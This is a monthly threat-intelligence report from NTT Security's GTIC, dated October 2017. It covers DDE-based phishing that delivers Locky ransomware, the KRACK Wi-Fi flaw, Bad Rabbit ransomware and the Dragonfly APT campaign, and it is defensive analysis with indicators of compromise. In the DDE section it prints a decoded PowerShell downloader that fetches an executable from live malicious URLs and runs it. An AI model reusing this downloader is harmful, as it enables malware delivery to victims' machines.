GTIC Monthly Threat Report

October 2017

Name	**GTIC Monthly Threat Report – October 2017**
Owner	**NTT Security GTIC**
Classification	UNCLASSIFIED-EXTERNAL
Status	APPROVED
Version	V1.0
Date	**31 October 2017**
Review	31 October 2017

Contents

Shift in Phishing TTPs

Phishing comes in many forms but, simply put, phishing is an attempt by an attacker to send a target an email which is intended to ultimately result in malicious actions being taken on the target's machine. From Q2 '17 through Q3 '17, the Global Threat Intelligence Center (GTIC) observed a 74 percent increase in phishing campaigns. Most of these campaigns came in large waves and were not targeted spear-phishing attempts as detected by NTT Security's MSS platform, but rather, these campaigns "cast a wider net," attempting to blast out these emails to a high number of potential victims in the hopes of catching a few. Spear-phishing is typically more targeted and requires more reconnaissance but may have a higher return on investment for the attacker.

As research indicates, these phishing campaigns are pushed by botnets such as Necurs in which threat actors leverage the botnet's expansive infrastructure to send massive waves of phishing emails. These phishing emails typically contain a malicious URL from which the final malware binary is downloaded. In other instances, a malicious attachment containing system commands in included in the phishing email, and that attachment is set up to retrieve malware from specific hosts.

Reviving the Use of Microsoft's Dynamic Data Exchange (DDE)

The GTIC identified a noticeable shift in TTPs in a recent phishing campaign. Malicious attachments contained no macros, but instead relied on DDE to perform system commands for malware retrieval. DDE is a protocol with a set of messages and guidelines on how Microsoft applications share data and use shared memory.

On October 19, 2017, the GTIC identified several thousand phishing emails being sent to clients where the file naming convention for attachments was '*I_[0-9]{6}\.doc*'. The content of the emails was concerning "requested invoice information," which could be found in the malicious attachments. Upon analysis, there were no malicious macros found in the Word documents.

Instead, the threat actors behind this campaign inserted a custom field into the documents which sends an HTTP request for *KJHDhbje71* from ryanbaptistchurch[.]com. This host responds with the file contents as base64-encoded data for the Word document to use to pull down the second stage malware.

```
In [9]: co = 'DQAKACQAdQByAGwAcwAgAD0AIAAiAGgAdAB0AHAAOgAvAC8AcwBoAGEAbQBhAG4AaQBjAC0A
   ...: ZQB4AHQAcgBhAGMAdABzAC4AYgBpAHoALwBlAHUAcgBnAGYAOAAzADcAbwByACIALAAiAGgAdAB0AH
   ...: AAOgAvAC8AYwBlAG4AdAByAGEAbABiAGEAcAB0AGkAcwB0AGMAaAB1AHIAYwBoAG4AagAuAG8AcgBn
   ...: AC8AZQB1AHIAZwBmADgAMwA3AG8AcgAiACwAIgAiACwAIgBoAHQAdABwADoALwAvAGMAbwBuAHgAaQ
   ...: BiAGkAdAAuAGMAbwBtAC8AZQB1AHIAZwBmADgAMwA3AG8AcgAiAA0ACgBmAG8AcgBlAGEAYwBoACgA
   ...: JAB1AHIAbAAgAGkAbgAgACQAdQByAGwAcwApAHsADQAKAFQAcgB5AA0ACgB7AA0ACgAJAFcAcgBpAH
   ...: QAZQAtAEgAbwBzAHQAIAAkAHUAcgBsAAkADQAKAAkAJABmAHAAIAA9ACAAIgAkAGUAbgB2ADoAdABl
   ...: AG0AcABcAHIAZQBrAGEAawB2AGEAMwAyAC4AZQB4AGUAIgAJAA0ACgAJAFcAcgBpAHQAZQAtAEgAbw
   ...: BzAHQAIAAkAGYAcAANAAoACQAkAHcAYwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMA
   ...: dABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0AA0ACgAJACQAdwBjAC4ARABvAHcAbgBsAG
   ...: 8AYQBkAEYAaQBsAGUAKAAkAHUAcgBsACwAIAAkAGYAcAApAA0ACgAJAFMAdABhAHIAdAAtAFAAcgBv
   ...: AGMAZQBzAHMAIAAkAGYAcAANAAoACQBiAHIAZQBhAGsADQAKAH0ADQAKAEMAYQB0AGMAaAANAAoAew
   ...: ANAAoAIAAgACAAVwByAGkAdABlAC0ASABvAHMAdAAgACQAXwAuAEUAeABjAGUAcAB0AGkAbwBuAC4A
   ...: TQBlAHMAcwBhAGcAZQANAAoAfQANAAoADQAKAAkADQAKAH0ADQAKAA=='

In [10]: print base64.b64decode(co)

$urls = "http://shamanic-extracts.biz/eurgf837or","http://centralbaptistchurchnj.org/e
urgf837or","","http://conxibit.com/eurgf837or"
foreach($url in $urls){
Try
{
        Write-Host $url
        $fp = "$env:temp\rekakva32.exe"
        Write-Host $fp
        $wc = New-Object System.Net.WebClient
        $wc.DownloadFile($url, $fp)
        Start-Process $fp
        break
}
Catch
{
   Write-Host $_.Exception.Message
}
```

Figure 2. Decoded data passed from ryanbaptistchurch[.]com. This data is a small PowerShell script used to download the second stage malware.

The binary, “eurgf837or”, is actually another downloader used to download the *third* malware binary from “hair-select[.]jp/fef44gddd.enc”, an encrypted Locky payload (67e0107cb365d9360c707c260d3acfa9).

Conclusion

Again, the use of DDE is not new; however, phishing campaigns such as Locky and Trickbot have shifted TTPs recently to leverage DDE. The process and integration is simple, yet effective, as AV engines consistently detect malicious macros but may need rule updates for phishing campaigns leveraging DDE. The GTIC does not suspect this TTP will take over the use of malicious macros, but expect threat actors will leverage this TTP more frequently in future phishing campaigns as an alternative.

Technical Indicators

Domains

ryanbaptistchurch[.]com

shamanic-extracts[.]biz

centralbaptistchurchnj[.]org

conxibit[.]com

hair-select[.]jp

MD5 Hashes

67e0107cb365d9360c707c260d3acfa9 – Locky Binary

1cb9a32af5b30aa26d6198c8b5c46168 – Phishing Email Attachment

4f03e360be488a3811d40c113292bc01 – Downloader

Wi-Fi WPA2 Security “KRACK”ed

Over the weekend of October 14-15, 2017 news spread of a vulnerability in the Wi-Fi WPA2 protocol. The attack has subsequently gained a name – “KRACK” – an acronym for **K**ey **R**einstallation **A**tta**ck**s.

Initial analysis indicated that the attacker must be within Wi-Fi range of the client and access point (AP). Researchers continue to work to discover the full impact of the KRACK flaw, but the attack may allow for leveraging man-in-the-middle (MiTM) attacks on vulnerable websites, traffic injection and denial of service against certain wireless environments.

Vendors continue to release updates and patches for this flaw, and NTT Security recommends that organizations monitor vendor patch notifications and apply relevant patches once local quality assurance (QA) testing has been completed. Current estimations show that most Wi-Fi clients (including mobile devices, laptops and IoT) will require patching or version checks.

The KRACK Attacks website provides much more detail into this vulnerability.

"Bad Rabbit" Wreaks Havoc

On October 25, a new ransomware variant named "Bad Rabbit" was observed targeting organizations in Russia. A smaller number of attacks have also been observed in Russia, Ukraine, Germany and Turkey.

The ransomware dropper is distributed with the help of drive-by attacks. While a victim is visiting a legitimate website, malware pretending to be an "Adobe Flash" installer is offered to the victim for download, with the malware originating from the threat actor's infrastructure.

Bad Rabbit leverages no specific vulnerability exploits, which means the victim would have to manually execute the malware once downloaded. The executable file is compatible with all versions of Windows operating systems.

Once installed, the "Bad Rabbit" ransomware encrypts files on the infected system and demands 0.05 Bitcoin (as of this writing, around $297 USD) from victims in exchange for the restoration of their devices.

Attacks such as these reiterate the importance of instilling a culture of security throughout every level of your organization.

The *Dragonfly* Campaign Continues

On October 20, the Federal Bureau of Investigation (FBI) and Department of Homeland Security (DHS) issued a joint technical alert (TA17–293A) providing details into an Advanced Persistent Threat's (APT) attacks against critical infrastructure sectors.

Since as early as 2014, these suspected Russian actors (also known as *Energetic Bear* and *Crouching Yeti*) have been targeting power and energy companies, as well as critical infrastructure in the U.S. and Europe. This ongoing targeting is known in the security community as the *Dragonfly* campaign.

Researchers also discovered additional activity from this APT in September in which it was determined attackers had gained access to at least 20 of its targets' networks in the U.S. and Europe.

This aggressive multi-stage intrusion campaign is ongoing; the attackers continue to actively pursue their long-term goals, including maintaining access to targeted networks.

It is likely these actors have been maintaining a foothold in these networks for quite some time, studying these networks, possibly for later network manipulation. The motive behind the attacks appears to be industrial sabotage or espionage — a natural conclusion given the importance of Russia's oil and gas industry.

Updated IoCs are available for the ongoing *Dragonfly* campaign, and NTT Security fully expects more IoCs to be made available in the future as more details emerge about this campaign.

References

U.S. warns public about attacks on energy, industrial firms